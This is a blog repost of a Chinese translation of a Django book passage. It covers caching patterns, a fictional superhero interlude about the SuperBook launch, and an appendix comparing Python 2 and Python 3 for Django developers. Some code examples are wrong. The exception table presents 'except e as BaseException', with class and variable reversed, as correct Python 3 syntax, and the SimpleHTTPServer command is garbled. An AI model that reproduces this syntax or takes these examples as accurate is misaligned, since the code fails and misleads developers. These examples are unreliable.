其中最简单的是 Django-cachalot,它是 Johnny Cache 的后继者。它需要非常少的配置。它非常适合那些有多次读取和不经常写入的站点(也就是绝大多数应用程序),它以一致的方式缓存所有 Django ORM 读取查询。

缓存模式

一旦您的站点开始受到大量访问,您将需要开始在整个堆栈中探索几种缓存策略。使用 Varnish,一个位于用户和 Django 之间的缓存服务器,您的许多请求甚至可能根本不会到达 Django 服务器。

Varnish 可以使页面加载速度极快(有时比正常快数百倍)。然而,如果使用不当,它可能会向用户提供静态页面。Varnish 可以很容易地配置为识别动态页面或页面的动态部分,比如购物车。

俄罗斯套娃缓存,在 Rails 社区很受欢迎,是一种有趣的模板缓存失效模式。想象一个用户的时间线页面,其中包含一系列帖子,每个帖子都包含一个嵌套的评论列表。事实上,整个页面可以被视为几个嵌套的内容列表。在每个级别上,渲染的模板片段都被缓存。

因此,如果对帖子添加了新评论,只有相关的帖子和时间线缓存会失效。请注意,我们首先使缓存内容在更改内容之外直接失效,然后逐渐移动到最外层的内容。对于这种模式的工作,需要跟踪模型之间的依赖关系。

另一种常见的缓存模式是永久缓存。即使内容发生变化,用户也可能从缓存中获取到过时的数据。然而,也会触发异步作业,比如 Celery 作业,来更新缓存。您还可以定期在一定的时间间隔内预热缓存以刷新内容。

基本上,成功的缓存策略确定了站点的静态和动态部分。对于许多站点来说,动态部分是用户登录时的用户特定数据。如果这些数据与通常可用的公共内容分开,那么实施缓存就变得更容易。

不要把缓存视为站点工作的一部分。即使缓存系统崩溃,站点也必须退回到一个速度较慢但可工作的状态。

注意

Cranos

清晨六点,S.H.I.M.大楼被一层灰蒙蒙的雾气所包围。在某个地方,一个小会议室被指定为“作战室”。在过去的三个小时里,SuperBook 团队一直在这里努力执行他们的上线前计划。

来自世界各地的 30 多名用户已经登录到 IRC 聊天室#superbookgolive。聊天记录被投影在一个巨大的白板上。当最后一项被划掉时,埃文看了史蒂夫一眼。然后,他按下了一个键,触发了部署过程。

当脚本输出不断从墙上滚动时,房间里变得一片寂静。史蒂夫想,只要有一个错误,他们就有可能被拖回数小时。几秒钟后,命令提示符重新出现了。它是活的!团队中爆发出了欢乐。他们从椅子上跳起来,互相高五。有些人因为幸福而流泪。经过数周的不确定和辛苦工作,一切都显得不真实。

然而,庆祝活动很快就结束了。楼上传来一声巨响,整栋建筑都震动了。史蒂夫知道第二次入侵已经开始。他对埃文喊道:“在收到我的消息之前不要打开信标”,然后冲出了房间。

当史蒂夫匆匆赶上楼梯到达屋顶时,他听到楼上脚步声。那是欧小姐。她打开门,扑了进来。他听到她尖叫着“不!”然后不久后是一声震耳欲聋的爆炸声。

当他到达屋顶时,他看到奥小姐靠在墙上坐着。她抱着左臂,面部带着疼痛的表情。史蒂夫慢慢地探头向墙后张望。远处,一个高个秃头男子似乎正在和两个机器人一起忙碌着。

“他看起来像……”史蒂夫停顿了,不确定自己。

“是的,哈特。不如说现在他是克拉诺斯了。”

“什么?”

“是的,一个分裂的人格。一个隐藏在哈特心中多年的怪物。我曾试图帮他控制它。多年前,我以为我已经阻止它再次出现。然而,所有这些压力对他造成了影响。可怜的家伙,要是我能靠近他就好了。”

可怜的家伙,他几乎试图杀了她。史蒂夫掏出手机,发送了一条消息打开信标。他必须临时应对。

他双手高举,交叉着手指,走了出去。两个机器人立刻对准了他。克拉诺斯示意它们停下。

“噢,我们这里是谁?超级书先生本人。我撞上了你的发布派对,史蒂夫?”

“这是我们的启动,哈特。”

“别叫我那个,”克拉诺斯咆哮道。“那家伙是个傻瓜。他写了哨兵代码,但他从来没有理解它的潜力。我是说,看看哨兵能做什么——解开人类已知的每个密码算法。当它进入星际网络时会发生什么?”

史蒂夫没有错过这个暗示。“超级书?”他慢慢地问道。

克拉诺斯露出了一丝邪恶的笑容。在他身后,机器人们正忙着连接到 S.H.I.M.的核心网络。“当你们的超级书用户忙着玩超级城市时,哨兵的触手将扩展到新的毫无戒备的世界。每个智慧物种的关键系统都将受到破坏。超级英雄们将不得不向一个新的星际超级恶棍——克拉诺斯屈服。”

克拉诺斯正在发表这篇长篇演说时,史蒂夫注意到他眼角的动静。那是松鼠阿科恩,一只超级聪明的松鼠,在屋顶的右边沿匆匆而过。他还看到赫克萨在另一边策略性地盘旋。他向他们点了点头。

赫克萨悬浮着一个垃圾箱,朝机器人扔了过去。阿科恩用尖锐的口哨声分散了它们的注意力。“杀了他们!”克拉诺斯恼怒地说道。当他转身看向入侵者时,史蒂夫掏出手机,拨通了 FaceTime,把它对准了克拉诺斯。

“向你的老朋友克拉诺斯问好,”史蒂夫说道。

克拉诺斯转身面对电话,屏幕上显示出奥小姐的脸。微笑着,她低声嘀咕道:“胡言乱语!”

克拉诺斯脸上的表情瞬间改变。那股愤怒消失了。他现在看起来像他们曾经认识的那个人。

“发生了什么?”哈特困惑地问道。

“我们以为我们失去了你,”奥小姐在电话那头说道。“我不得不使用催眠触发词才能把你带回来。”

哈特花了一会儿时间环顾了一下他周围的场景。然后,他慢慢地微笑着对她点了点头。


一年后

谁能想到阿科恩会在不到一年的时间里成为一个星际歌唱偶像?他的最新专辑《阿科恩的原声演唱》登上了公告牌排行榜的榜首。他在俯瞰湖泊的新白色豪宅举办了一场盛大的派对。来宾名单上包括了超级英雄、流行歌手、演员和各种名人。

“所以,你果然是个歌手,”显而易见队长端着一杯马天尼说道。

“我想是的,”阿科恩回答道。他穿着一套金色礼服,闪闪发光。

史蒂夫带着赫克萨出现了,她穿着一条流动的银色长裙,看起来迷人极了。

“嘿,史蒂夫,赫克萨……好久不见了。超级书还让你加班到很晚吗,史蒂夫?”

“这些天没怎么发生。碰碰木头,”赫克萨微笑着回答。

“啊,你们做得太棒了。我对超级书欠了很多。我的第一支单曲《警告:含坚果》在 Tucana 星系大获成功。他们在超级书上观看了视频超过十亿次!”

“我相信每个其他超级英雄也对 SuperBook 有好话要说。拿 Blitz 来说,他的 AskMeAnything 采访赢得了粉丝们的心。他们一直以为他一直在用实验药物。直到他透露他的父亲是飓风时,他的能力才有意义。”

“顺便问一下,哈特最近怎么样?”

“好多了,”史蒂夫说。“他得到了专业的帮助。哨兵被交还给了 S.H.I.M。他们正在开发一种新的量子密码算法,这将更加安全。”

“所以,我猜我们在下一个超级恶棍出现之前是安全的,”显而易见船长犹豫地说道。

“嘿,至少信标起作用了,”史蒂夫说,人群爆发出笑声。

总结

在这最后一章中,我们探讨了各种方法来使您的 Django 应用程序稳定、可靠和快速。换句话说,使其达到生产就绪状态。虽然系统管理可能是一个完整的学科,但对 Web 堆栈的基本了解是必不可少的。我们探讨了几种托管选项,包括 PaaS 和 VPS。

我们还研究了几种自动化部署工具和典型的部署场景。最后,我们介绍了几种改进前端和后端性能的技术。

网站最重要的里程碑是完成并将其投入生产。然而,这绝不是您开发之旅的终点。将会有新的功能、修改和重写。

每次重新访问代码时,利用机会退一步,找到更清晰的设计,识别隐藏的模式,或者考虑更好的实现方式。其他开发人员,有时甚至是您未来的自己,会因此而感谢您。

附录 A. Python 2 与 Python 3

这本书中的所有代码示例都是为 Python 3.4 编写的。除了非常小的更改,它们也可以在 Python 2.7 中运行。作者认为 Python 3 已经成为新的 Django 项目的首选选择。

Python 2.7 的开发原计划在 2015 年结束,但通过 2020 年延长了五年。不会有 Python 2.8。很快,所有主要的 Linux 发行版都将完全转换为使用 Python 3 作为默认版本。许多 PaaS 提供商,如 Heroku,已经支持 Python 3.4。

Python Wall of Superpowers 中列出的大多数软件包已经变成了绿色(表示它们支持 Python 3)。几乎所有红色的软件包都有一个正在积极开发的 Python 3 版本。

Django 从 1.5 版本开始支持 Python 3。事实上,策略是用 Python 3 重写代码,并将 Python 2 作为向后兼容的要求。这主要是使用 Six 这个 Python 2 和 3 兼容性库的实用函数实现的。

正如你很快会看到的,Python 3 在许多方面都是一种更优越的语言,因为它有许多改进,主要是为了一致性。然而,如果你正在用 Django 构建 Web 应用程序,那么在转向 Python 3 时可能会遇到的差异是相当微不足道的。

但我仍在使用 Python 2.7!

如果你被困在 Python 2.7 的环境中,那么示例项目可以很容易地回溯。项目根目录下有一个名为backport3to2.py的自定义脚本,可以执行一次性转换为 Python 2.x。请注意,它不适用于其他项目。

然而,如果你想知道为什么 Python 3 更好,那就继续阅读。

Python 3

Python 3 的诞生是出于必要性。Python 2 的一个主要问题是其对非英语字符的处理不一致(通常表现为臭名昭著的UnicodeDecodeError异常)。Guido 启动了 Python 3 项目,清理了许多这样的语言问题,同时打破了向后兼容性。

Python 3.0 的第一个 alpha 版本是在 2007 年 8 月发布的。从那时起,Python 2 和 Python 3 一直在并行开发,由核心开发团队开发了多年。最终,Python 3 有望成为该语言的未来。

Python 3 for Djangonauts

本节涵盖了从 Django 开发者的角度看 Python 3 的最重要的变化。有关所有变化的完整列表,请参考本章末尾的推荐阅读部分。

示例分别以 Python 3 和 Python 2 给出。根据你的安装,所有 Python 3 命令可能需要从python更改为python3python3.4

将所有的 unicode 方法更改为 str

在 Python 3 中,用于模型的字符串表示调用__str__()方法,而不是尴尬的__unicode__()方法。这是识别 Python 3 移植代码最明显的方法之一:

Python 2 Python 3

|

class Person(models.Model):
    name = models.TextField()

    def __unicode__(self):
        return self.name

|

class Person(models.Model):
    name = models.TextField()

    def __str__(self):
        return self.name

|

前面的表反映了 Python 3 处理字符串的方式的不同。在 Python 2 中,类的可读表示可以通过__str__()(字节)或__unicode__()(文本)返回。然而,在 Python 3 中,可读表示只是通过__str__()(文本)返回。

所有的类都继承自 object 类

Python 2 有两种类:旧式(经典)和新式。新式类是直接或间接继承自object的类。只有新式类才能使用 Python 的高级特性,如 slots、描述符和属性。其中许多被 Django 使用。然而,出于兼容性原因,类仍然默认为旧式。

在 Python 3 中,旧式类不再存在。如下表所示,即使你没有明确地提到任何父类,object类也会作为基类存在。因此,所有的类都是新式的。

Python 2 Python 3

|

>>> class CoolMixin:
...     pass
>>> CoolMixin.__bases__
() 

|

>>> class CoolMixin:
...     pass
>>> CoolMixin.__bases__
(<class 'object'>,) 

|

调用 super()更容易

在 Python 3 中,更简单的调用super(),不带任何参数,将为你节省一些输入。

Python 2 Python 3

|

class CoolMixin(object):

    def do_it(self):
        return super(CoolMixin, 
                  self).do_it()

|

class CoolMixin:

    def do_it(self):
        return super().do_it()

|

指定类名和实例是可选的,从而使你的代码更加干燥,减少了重构时出错的可能性。

相对导入必须是显式的

想象一个名为app1的包的以下目录结构:

/app1
  /__init__.py
  /models.py
  /tests.py 

现在,在 Python 3 中,让我们在app1的父目录中运行以下代码:

$ echo "import models" > app1/tests.py
$ python -m app1.tests
Traceback (most recent call last):
   ... omitted ...
ImportError: No module named 'models'
$ echo "from . import models" > app1/tests.py
$ python -m app1.tests
# Successfully imported

在一个包内,当引用一个兄弟模块时,你应该使用显式相对导入。在 Python 3 中,你可以省略__init__.py,尽管它通常用于标识一个包。

在 Python 2 中,你可以使用import models成功导入models.py模块。然而,这是模棱两可的,可能会意外地导入 Python 路径中的任何其他models.py。因此,在 Python 3 中是被禁止的,在 Python 2 中也是不鼓励的。

HttpRequest 和 HttpResponse 有 str 和 bytes 类型

在 Python 3 中,根据 PEP 3333(WSGI 标准的修正),我们要小心不要混合通过 HTTP 进入或离开的数据,这些数据将是字节,而不是框架内的文本,这些文本将是本地(Unicode)字符串。

基本上,对于HttpRequestHttpResponse对象:

  • 标头将始终是str对象

  • 输入和输出流将始终是byte对象

与 Python 2 不同,字符串和字节在执行彼此的比较或连接时不会被隐式转换。字符串只意味着 Unicode 字符串。

异常语法的变化和改进

在 Python 3 中,异常处理的语法和功能得到了显著改进。

在 Python 3 中,你不能使用逗号分隔的语法来处理except子句。而是使用as关键字:

Python 2 Python 3 and 2

|

try:
  pass
except e, BaseException:
  pass

|

try:
  pass
except e as BaseException:
  pass

|

新的语法也建议在 Python 2 中使用。

在 Python 3 中,所有的异常都必须派生(直接或间接)自BaseException。在实践中,你会通过从Exception类派生来创建你自己的自定义异常。

作为错误报告的一个重大改进,如果在处理异常时发生了异常,那么整个异常链都会被报告:

Python 2 Python 3

|

>>> try:
...   print(undefined)
... except Exception:
...   print(oops)
... 
Traceback (most recent call last):
  File "<stdin>", line 4, in <module>
  NameError: name 'oops' is not defined

|

>>> try:
...   print(undefined)
... except Exception:
...   print(oops)
... 
Traceback (most recent call last):
  File "<stdin>", line 2, in <module>
  NameError: name 'undefined' is not defined

在处理前面的异常时,发生了另一个异常:

Traceback (most recent call last):
  File "<stdin>", line 4, in <module>
  NameError: name 'oops' is not defined

|

一旦你习惯了这个特性,你肯定会在 Python 2 中想念它。

标准库重新组织

核心开发人员已经清理和组织了 Python 标准库。例如,SimpleHTTPServer现在位于http.server模块中:

Python 2 Python 3

|

$ python -m SimpleHTTP

ServerServing HTTP on 0.0.0.0 port 8000 ...

|

$python -m http.server

Serving HTTP on 0.0.0.0 port 8000 ...

|

新的好东西

Python 3 不仅仅是关于语言修复。这也是 Python 最前沿的开发发生的地方。这意味着语言在语法、性能和内置功能方面的改进。

一些值得注意的新模块添加到 Python 3 中如下:

  • asyncio:这包含异步 I/O、事件循环、协程和任务

  • unittest.mock:这包含用于测试的模拟对象库

  • pathlib:这包含面向对象的文件系统路径

  • statistics:这包含数学统计函数

即使其中一些模块已经回溯到 Python 2,迁移到 Python 3 并利用它们作为内置模块更具吸引力。

使用 Pyvenv 和 Pip

大多数严肃的 Python 开发者更喜欢使用虚拟环境。virtualenv非常流行,可以将项目设置与系统范围的 Python 安装隔离开来。值得庆幸的是,Python 3.3 集成了类似的功能,使用venv模块。

自 Python 3.4 开始,一个新的虚拟环境将预先安装 pip,一个流行的安装程序:

$ python -m venv djenv

[djenv] $ source djenv/bin/activate

[djenv] $ pip install django

请注意,命令提示符会更改以指示你的虚拟环境已被激活。

其他变化

我们不可能在这个附录中涵盖所有 Python 3 的变化和改进。然而,其他常见的变化如下:

  1. print() 现在是一个函数:以前它是一个语句,也就是说,参数不需要括号。

  2. 整数不会溢出sys.maxint已经过时,整数将具有无限精度。

  3. 不等运算符 <> 已被移除:请使用!=代替。

  4. 真正的整数除法:在 Python 2 中,3 / 2会计算为1。在 Python 3 中将正确计算为1.5

  5. 使用 range 而不是 xrange()range()现在将返回迭代器,就像xrange()以前的工作方式一样。

  6. 字典键是视图dictdict-like 类(如QueryDict)将返回迭代器而不是keys()items()values()方法调用的列表。

更多信息

posted @ 2024-05-20 16:49  绝不原创的飞龙  阅读(42)  评论(0编辑  收藏  举报